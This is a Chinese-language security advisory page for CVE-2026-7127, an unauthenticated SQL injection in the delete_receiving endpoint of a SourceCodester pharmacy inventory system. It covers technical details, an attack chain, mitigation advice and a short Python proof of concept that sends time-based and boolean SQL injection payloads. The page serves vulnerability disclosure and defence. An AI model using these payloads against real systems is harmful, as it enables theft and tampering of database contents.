IPBUF安全漏洞报告
English
CVE-2026-7127 CVSS 7.3 高危

CVE-2026-7127 SourceCodester药店系统SQL注入漏洞

披露日期: 2026-04-27

漏洞信息

漏洞编号
CVE-2026-7127
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Pharmacy Sales and Inventory System

相关标签

SQL注入CVE-2026-7127SourceCodester远程代码执行Web安全无需认证

漏洞概述

SourceCodester Pharmacy Sales and Inventory System 1.0版本存在高危SQL注入漏洞。该漏洞位于/ajax.php?action=delete_receiving接口中,由于未对用户提交的ID参数进行严格的过滤和校验,导致攻击者可注入恶意SQL语句。攻击者无需认证即可远程利用此漏洞,窃取数据库敏感信息、篡改数据或破坏系统可用性。鉴于目前已有公开的利用代码,风险极高。

技术细节

该漏洞是典型的SQL注入漏洞,其根本原因在于应用程序在构建数据库查询时,直接将用户输入的数据拼接到了SQL语句中,而未使用参数化查询或预编译语句。具体而言,受影响文件为/ajax.php,当系统处理delete_receiving动作时,会接收通过POST或GET方式提交的ID参数。由于缺乏有效的输入清理机制,攻击者可以在ID参数中插入单引号等SQL元字符,从而改变原有的SQL逻辑。根据CVSS 3.1向量分析,该漏洞攻击复杂度低(AC:L),无需任何权限(PR:N)且无需用户交互(UI:N)。攻击者可通过发送特制的HTTP请求,利用报错注入、布尔盲注或时间盲注等技术,获取数据库结构、读取管理员密码哈希或导致拒绝服务,对系统的机密性、完整性和可用性造成低至中度的影响。

攻击链分析

STEP 1
1. 信息收集
攻击者侦察目标网络,发现运行SourceCodester Pharmacy Sales and Inventory System 1.0的服务器。
STEP 2
2. 漏洞探测
攻击者向服务器发送请求,针对/ajax.php?action=delete_receiving接口的ID参数进行模糊测试,寻找SQL注入迹象。
STEP 3
3. 构造攻击载荷
确认漏洞存在后,攻击者构造特定的SQL注入Payload(如UNION SELECT或布尔盲注语句),旨在提取数据库表名或敏感数据。
STEP 4
4. 执行攻击
将包含恶意Payload的HTTP请求发送至服务器,后端数据库解析并执行该SQL语句,返回查询结果或产生延迟。
STEP 5
5. 数据窃取或破坏
根据注入结果,攻击者获取管理员凭证、用户数据,或执行DELETE/UPDATE操作破坏数据完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_host = "http://target-ip" vulnerable_url = f"{target_host}/ajax.php" # The vulnerability is in the 'ID' parameter of the 'delete_receiving' action # Payload example: Checking for time-based blind injection payload = { "action": "delete_receiving", "ID": "1 AND (SELECT * FROM (SELECT(SLEEP(5)))a)" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: print("[+] Sending malicious request to check for SQL Injection...") response = requests.post(vulnerable_url, data=payload, headers=headers, timeout=10) # Check if the response time indicates execution (e.g., 5 seconds delay) if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability Confirmed: SQL Injection exists (Time-based).") else: print("[-] Vulnerability not detected via time-based method, try error-based.") # Alternative Payload for Error-Based Injection payload_error = {"action": "delete_receiving", "ID": "1' AND 1=1-- -"} res_error = requests.post(vulnerable_url, data=payload_error, headers=headers) print("Response:", res_error.text[:200]) except Exception as e: print(f"Error: {e}")

影响范围

SourceCodester Pharmacy Sales and Inventory System 1.0

防御指南

临时缓解措施
建议立即检查系统版本并联系供应商获取安全更新。在未修复前,可通过修改代码对'ID'参数进行强制类型转换(如转换为整数)或添加正则过滤,仅允许数字字符通过,从而阻断SQL注入攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表